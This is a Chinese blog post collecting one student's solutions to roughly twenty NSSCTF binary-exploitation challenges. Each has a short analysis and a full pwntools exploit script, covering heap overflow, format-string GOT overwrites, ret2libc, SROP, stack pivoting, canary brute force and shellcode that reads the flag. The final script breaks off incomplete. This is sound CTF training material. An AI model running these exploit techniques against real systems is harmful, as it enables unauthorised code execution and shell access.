第四周周报(NSS刷题记录)

最新推荐文章于 2024-06-22 22:35:19 发布
最新推荐文章于 2024-06-22 22:35:19 发布
阅读量932 收藏 24
点赞数 27
文章标签： linux 数据库 前端
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/2301_79525044/article/details/138863745
版权
[HNCTF 2022 WEEK4]ezheap

64位保护全开

一道堆题，四种功能齐全。

add中会malloc两个堆块，一个0x20，一个自定义。

将puts函数的真实地址放在了自定义堆块的prev size处。

 存在堆溢出漏洞。

 delete时不会将自动申请的堆块free掉。

show函数非常关键，它将prev size处的数据作为函数指针使用，将prev size+0x10处的数据作为参数，而prevsize处存放了puts函数。

所以我们可以通过堆溢出修改prev size+0x10为puts函数地址，泄露libcbase,再修改puts函数为onegadget，从而getshell。

exp

from pwn import *
from struct import pack
from ctypes import *
import base64
#from LibcSearcher import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

#context(os='linux', arch='amd64', log_level='debug')
p=remote('node5.anna.nssctf.cn',20869)
#p = process('./ezheap')
elf = ELF('./ezheap')
libc = ELF('./glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')

def add(idx, size, name = b'a', data = b'a'):
	sla(b'Choice: \n', b'1')
	sla(b'idx:\n', str(idx))
	sla(b'Size:\n', str(size))
	sa(b'Name: \n', name)
	sa(b'Content:\n', data)
	
def free(idx):
	sla(b'Choice: \n', b'2')
	sla(b'idx:\n', str(idx))
	
def show(idx):
	sla(b'Choice: \n', b'3')
	sla(b'idx:\n', str(idx))
	
def edit(idx, size, data):
	sla(b'Choice: \n', b'4')
	sla(b'idx:\n', str(idx))
	sla(b'Size:\n', str(size))
	s(data)
#gdb.attach(p)
add(0,0x10)
add(1,0x20)

payload=p64(0)*3+p64(0x31)+p64(0)*2+p8(0x30)
edit(0,0x31,payload)
show(1)
libc_base=l64()-libc.sym['puts']
print(hex(libc_base))

one_gadget = 0x45226 + libc_base

payload1=p64(0)*3+p64(0x31)+p64(0)*4+p64(one_gadget)
edit(0,0x50,payload1)
show(1)
inter()
[CISCN 2019西南]PWN1

32位开启了NX保护。

存在明显的格式化字符串漏洞。

同时已给出system函数。

所以我们利用格式化字符串将printfgot改为system函数，将fini_array改为main函数，即可获得shell

exp

from pwn import *
from struct import pack
from ctypes import *
import base64
#from LibcSearcher import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

#context(os='linux', arch='i386', log_level='debug')
#p=remote('node5.anna.nssctf.cn',20869)
p = process('[CISCN 2019西南]PWN1')
elf = ELF('[CISCN 2019西南]PWN1')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
gdb.attach(p, 'b *0x80485AD')

p.recvuntil(b"Welcome to my ctf! What's your name?\n")
fini_array=0x0804979C
system_addr=elf.plt['system']
printf_got=elf.got['printf']
main=elf.symbols['main']

payload = b'%2052c%13$hn%31692c%14$hn%356c%15$hn' + p32(printf_got + 2) + p32(printf_got) + p32(fini_array)

p.sendline(payload)

p.recvuntil(b"Welcome to my ctf! What's your name?\n")

p.sendline(b'/bin/sh\x00')
p.interactive()
[UUCTF 2022 新生赛]easystack

64位开启了NX和pie。

存在栈溢出，但可溢出空间较小。

存在backdoor，所以我们需要返回到backdoor。

由于溢出长度不够，所以我们需要通过爆破来实现。

exp

from pwn import *

while 1:
	io = remote('1.14.71.254', 28097)
	payload = b'A'*(0x100+8) + p64(0x00001185)
	io.sendline(payload)
	if b"You are" in io.recv():
	    io.interactive()
	io.close()
[NSSRound#4 SWPU]真签到题来试试吧

64位，普通的ret1libc。

exp

from pwn import *
from LibcSearcher import *
#context(os = 'linux', arch = 'amd64', log_level='debug')
#io=process('pwn4')
io=remote('node4.anna.nssctf.cn',28034)
elf=ELF('pwn (2)')
ret=0x40101a
rdi=0x401373
main=0x40121b
rsi_r15=0x4007d1

#payload1=b'a'*(0x28)+p64(rdi)+p64(1)+p64(rsi_r15)+p64(elf.got['read'])+p64(1)+p64(elf.plt['write'])+p64(ret)+p64(main)
payload1=b'a'*(0x88)+p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(main)
io.sendline(payload1)
puts_ad=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
#libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc=LibcSearcher('puts',puts_ad)
'''
base=read_ad-libc.sym['read']
print(hex(base))
sys=base+libc.sym['system']
sh=base+next(libc.search(b'/bin/sh'))
'''
libc = LibcSearcher('puts',puts_ad)
libc_base = puts_ad - libc.dump('puts')
sys= libc_base + libc.dump('system')
sh = libc_base + libc.dump('str_bin_sh')
payload2=b'a'*(0x88)+p64(ret)+p64(rdi)+p64(sh)+p64(sys)
io.sendline(payload2)
io.interactive()
[CISCN 2023 初赛]funcanary 

64位保护全开。

 使用fork()函数开启了子进程，所以我们可以使用爆破的方式泄露canary，爆破过程漫长，耐心等待，我不小心又开了一道题，然后这个靶机自动关了，又要重新来，哭死。

存在后门函数，但是由pie的存在，我们只传入后三位，多进行几次，就可以返回成功。

exp

from pwn import *
from struct import pack
from ctypes import *
import base64
#from LibcSearcher import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

context(os='linux', arch='amd64', log_level='debug')
p=remote('node5.anna.nssctf.cn',22915)
#p = process('service')
elf = ELF('service')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

p.recvuntil('welcome\n')
canary = b'\x00'
for k in range(7):
    for i in range(256):
        payload = b'a' * 0x68 + canary + bytes([i])
        p.send(payload)
        data = p.recvuntil("welcome\n")
        print(data)
        if b"fun" in data:
            canary += bytes([i])
            print("canary is:" + str(canary))
            break

back_door = 0x231
for i in range(15):
    num=i<<12
    payload = b'a' * 0x68 + p64(u64(canary)) + b'a' * 8 + p16(0x231+num)
    p.send(payload)
    flag=p.recv()
    if b"NSSCTF" in flag:
        print(str(flag))
        break
p.interactive()
[HGAME 2023 week1]simple_shellcode

64位保护全开。

mmap开辟了一段可读可写可执行空间，开启了沙盒保护

根据题目的提示，我们可知，需要利用read写一段shellcode，再次调用read读入足够大的数据来进行orw。

exp

from pwn import *
context(log_level='debug',arch='amd64', os='linux')
#p=process('./vuln')
p=remote('node5.anna.nssctf.cn',26392)
shellcode1=asm('''
 mov rdi,rax;
 mov rsi,0xCAFE0010;
 syscall;
 nop;
 ''')

p.sendafter("Please input your shellcode:\n",shellcode1)
shellcode2= asm('''
 push 0x67616c66
 mov rdi,rsp
 xor esi,esi
 push 2
 pop rax
 syscall
 mov rdi,rax
 mov rsi,rsp
 mov edx,0x100
 xor eax,eax
 syscall
 mov edi,1
 mov rsi,rsp
 push 1
 pop rax
 syscall
 ''')

orw=b'\xb8flagPH\x89\xe71\xf61\xc0\x04\x02\x0f\x05\x89\xc7H\x89\xe6f\xb8\x01\x011\xd2f\x89\xc2f\x01\xc61\xc0\x0f\x051\xfff\xff\xc7f\xff\xc71\xc0\xfe\xc0\x0f\x05'
p.send(orw)
p.interactive()
[CISCN 2019华南]PWN3

64位，NX保护。

存在栈溢出与系统调用，还有mov rax,0xf的gadget，说明是srop 。

先通过write函数泄露栈地址，再返回到vuln再次执行srop。

exp

from pwn import *
context(log_level='debug',arch='amd64', os='linux')

io = remote('node5.anna.nssctf.cn',23535)


syscall = 0x400517
gadget = 0x4004DA
vuln = 0x4004ED

# gdb.attach(io,"b *main")

io.send(b"a"*0x10+p64(vuln))
io.recv(0x20)
# print()
stack = u64(io.recv(6).ljust(8,b'\x00')) -0x118
print("stack -> " + hex(stack))

frame = SigreturnFrame()
frame.rax = 59
frame.rdi = stack
frame.rip = syscall
frame.rsi = 0

payload = b"/bin/sh\x00"*0x2 + p64(gadget) + p64(syscall) + bytes(frame)
io.send(payload)
io.interactive()
[广东省大学生攻防大赛 2022]jmp_rsp

64位保护全关。checksec说有canary但实际上没有。

静态编译还存在栈溢出 。

exp

from pwn import *
from struct import pack
from ctypes import *
import base64
#from LibcSearcher import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

context(os='linux', arch='amd64', log_level='debug')
p=remote('node4.anna.nssctf.cn',28244)
#p = process('./service')

libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
elf = ELF('./service')
jmp_rsp = 0x46d01d
payload = asm(shellcraft.sh()).ljust(0x88, b'\x00') + p64(jmp_rsp) + asm('sub rsp, 0x90; jmp rsp')
s(payload)

inter()
[FSCTF 2023]rdi 

 存在栈溢出

给出了system函数。

可以找到sh字符串。

exp

from pwn import *
from struct import pack
from ctypes import *
import base64
#from LibcSearcher import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

context(os='linux', arch='amd64', log_level='debug')
p=remote('node4.anna.nssctf.cn',28533)
#p = process('./rdi')

rdi=0x04007d3
sys=0x04006FB
sh=0x040080d
payload=b'a'*0x88+p64(rdi)+p64(sh)+p64(sys)


s(payload)
[HNCTF 2022 WEEK2]ret2libc 

64位NX保护，存在栈溢出，普通的ret2libc。

exp

from pwn import *
from struct import pack
from ctypes import *
import base64
from LibcSearcher import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

context(os='linux', arch='amd64', log_level='debug')
#p = process('./ret2libc')
p = remote('node5.anna.nssctf.cn',23762)
elf = ELF('./ret2libc')
#libc = ELF('./libc-database/db/libc6_2.27-3ubuntu1.5_amd64.so')
libc = ELF('./glibc-all-in-one/libs/2.31-0ubuntu9_amd64/libc-2.31.so')

rdi = 0x0000000000401273 
ret = 0x000000000040101a

vuln = elf.sym['vuln']
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']

payload = b'a'*0x108 + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(vuln)
p.sendline(payload)
puts_addr = u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b'\x00'))

l = LibcSearcher("puts",puts_addr)
libc_base = puts_addr - l.dump("puts")

system = libc_base + l.dump("system")
str_bin_sh = libc_base + l.dump("str_bin_sh")
payload = b'a'*0x108 + p64(ret) + p64(rdi) + p64(str_bin_sh) + p64(system)

p.sendline(payload)
p.interactive()
[HNCTF 2022 WEEK2]arrayRE

64位保护全开

但并不需要去绕过这些保护，

只需要输入正确的密码就可以获得shell。

将831654239123423452610584解密。

exp

from pwn import *
from struct import pack
from ctypes import *
import base64
from LibcSearcher import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

context(os='linux', arch='amd64', log_level='debug')
#p = process('./ret2libc')
p = remote('node5.anna.nssctf.cn',24906)
elf = ELF('./arrayRE')
#libc = ELF('./libc-database/db/libc6_2.27-3ubuntu1.5_amd64.so')
libc = ELF('./glibc-all-in-one/libs/2.31-0ubuntu9_amd64/libc-2.31.so')

passwrd = "831654239123423452610584"
answer = ""
length = len(passwrd)

for i in range(len(passwrd) - 1):
    cur = length - i - 1
    pre = cur - 1

    ans = ord(passwrd[cur]) - 48

    a1 = ord(passwrd[pre])
    a2 = a1 + pre
    num = (35 * (a1 - 48) + 18 * (a2 - 48) + 2) % 10
    num = (num + 3) % 10

    v3 = (ans - num) % 10
    answer += chr(v3 + 48)

answer = "8" + answer[::-1]

p.recvuntil(b'name:')
p.send(b'hahaha')
p.recvuntil(b'password:')
p.send(answer)

p.interactive()
[HGAME 2023 week1]choose_the_seat

64位NX保护。

存在整数溢出和数组越界。

将exit的got改为vuln函数，然后泄露puts函数的got，获得libc_base，然后将puts改为system。

exp

from pwn import *
from struct import pack
from ctypes import *
import base64
from LibcSearcher import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

context(os='linux', arch='amd64', log_level='debug')
#p=process('./vuln')
p = remote('node5.anna.nssctf.cn',20788)
elf = ELF('./vuln')

libc = ELF('libc-2.31.so')
#gdb.attach(p)
sla(b'please choose one.\n',b'-6')
sla(b'your name\n',p64(elf.sym['main']))
#pause()
sla(b'please choose one.\n',b'-9')
r()
s(b'a'*0x8)
libc_base=l64()-libc.sym['puts']
sys=libc_base+libc.sym['system']
#pause()
sla(b'please choose one.\n',b'-9')
sla(b'your name\n',b'/bin/sh\x00'+p64(sys))

inter()
[CISCN 2019华南]PWN4

32位NX保护。

栈溢出只能覆盖到ret，明显的栈迁移。

泄露栈地址

在原栈上构造rop链，进行栈迁移。

已经给出了system函数，不需要泄露libcbase。

exp

from pwn import *
from struct import pack
from ctypes import *
import base64
from LibcSearcher import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

#context(os='linux', arch='i386', log_level='debug')
context(os='linux', arch='amd64', log_level='debug')
#p=process('[CISCN 2019华南]PWN4')
p = remote('node5.anna.nssctf.cn',25642)
elf = ELF('[CISCN 2019华南]PWN4')

libc = ELF('libc-2.31.so')

leave = 0x80485FD
ret = 0x80485FE

sa(b'your name?\n',b'a'*(0x28))
rl(b'a'*(0x28))
ebp=u32(r(4))
stack=ebp-0x38

payload=(b'aaaa'+p32(elf.sym['system'])+p32(0)+p32(ebp-0x28)+b'/bin/sh\x00').ljust(0x28,b'\x00')+p32(stack)+p32(leave)
r()
s(payload)


inter()
[SWPUCTF 2023 秋季新生赛]签到

64位NX保护

真的是ret2text。

exp

from pwn import *
from struct import pack
from ctypes import *
import base64
from LibcSearcher import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

#context(os='linux', arch='i386', log_level='debug')
context(os='linux', arch='amd64', log_level='debug')
#p=process('[CISCN 2019华南]PWN4')
p = remote('node4.anna.nssctf.cn',28910)
#elf = ELF('[CISCN 2019华南]PWN4')

libc = ELF('libc-2.31.so')
backdoor=0x401232
payload=b'a'*(0x38)+p64(0x40101a)+p64(backdoor)
s(payload)


inter()
[NSSRound#9 Basic]MyExec 

64位保护全开

用mmap函数开辟了一段可读可写可执行的地址，并read数据。

开启了沙盒保护。禁用了系统调用

使用orw。

exp

from pwn import *
from struct import pack
from ctypes import *
import base64
from LibcSearcher import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

#context(os='linux', arch='i386', log_level='debug')
context(os='linux', arch='amd64', log_level='debug')
p=process('service')
p = remote('node5.anna.nssctf.cn',28618)
elf = ELF('service')

libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

sla(b'andbox\n', asm(shellcraft.open('/home/ctf/flag.txt') + shellcraft.read(3, 0x50000 + 0x200, 0x30) + shellcraft.write(1, 0x50000 + 0x200, 0x30)))


inter()
[watevrCTF 2019]Voting Machine 2

32位NX保护。

存在格式化字符串漏洞。 

存在后门函数。

exp

from pwn import *
from struct import pack
from ctypes import *
import base64
from LibcSearcher import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

context(os='linux', arch='i386', log_level='debug')
#context(os='linux', arch='amd64', log_level='debug')
#p=process('service')
p = remote('node5.anna.nssctf.cn',20729)
elf = ELF('[watevrCTF 2019]Voting Machine 2')

libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

flag_addr= elf.sym['super_secret_function']
exit_addr = elf.got['exit']

payload = b'a'*2+fmtstr_payload(8, {exit_addr:flag_addr},numbwritten=2)
s(payload)

inter()
[MoeCTF 2021]ezROP

64位NX保护

普通的ret2libc，但是需要在payload前加\x00绕过strlen函数检测。

exp

from pwn import *
from struct import pack
from ctypes import *
import base64
from LibcSearcher import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

context(os='linux', arch='i386', log_level='debug')
#context(os='linux', arch='amd64', log_level='debug')
#p=process('service')
p = remote('node5.anna.nssctf.cn',24747)
elf = ELF('pwn (2)')

libc = ELF('./glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')

ret = 0x4006b9
rdi = 0x400c83

sla(b'choice!\n', b'1')
sla(b'encrypted\n', b'\x00'*0x58 + p64(rdi) + p64(elf.got['puts']) + p64(elf.sym['puts']) + p64(elf.sym['main']))
libc_base = l64() - libc.sym['puts']

system, binsh = get_sb()
sla(b'choice!\n', b'1')
sla(b'encrypted\n', b'\x00'*0x58 + p64(ret) + p64(rdi) + p64(binsh) + p64(system))
inter()
[NSSRound#9 Basic]old fashion

我们需要通过获得伪随机数来进入yay获得shell。

exp

from pwn import *
from struct import pack
from ctypes import *
import base64
from LibcSearcher import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

#context(os='linux', arch='i386', log_level='debug')
context(os='linux', arch='amd64', log_level='debug')
#p=process('service')
p = remote('node5.anna.nssctf.cn',26679)
elf = ELF('zzzzz')

libc = ELF('./glibc-all-in-one/libs/2.31-0ubuntu9_amd64/libc.so.6')

libc = cdll.LoadLibrary('./glibc-all-in-one/libs/2.31-0ubuntu9_amd64/libc.so.6')
libc.srand(libc.time(0))
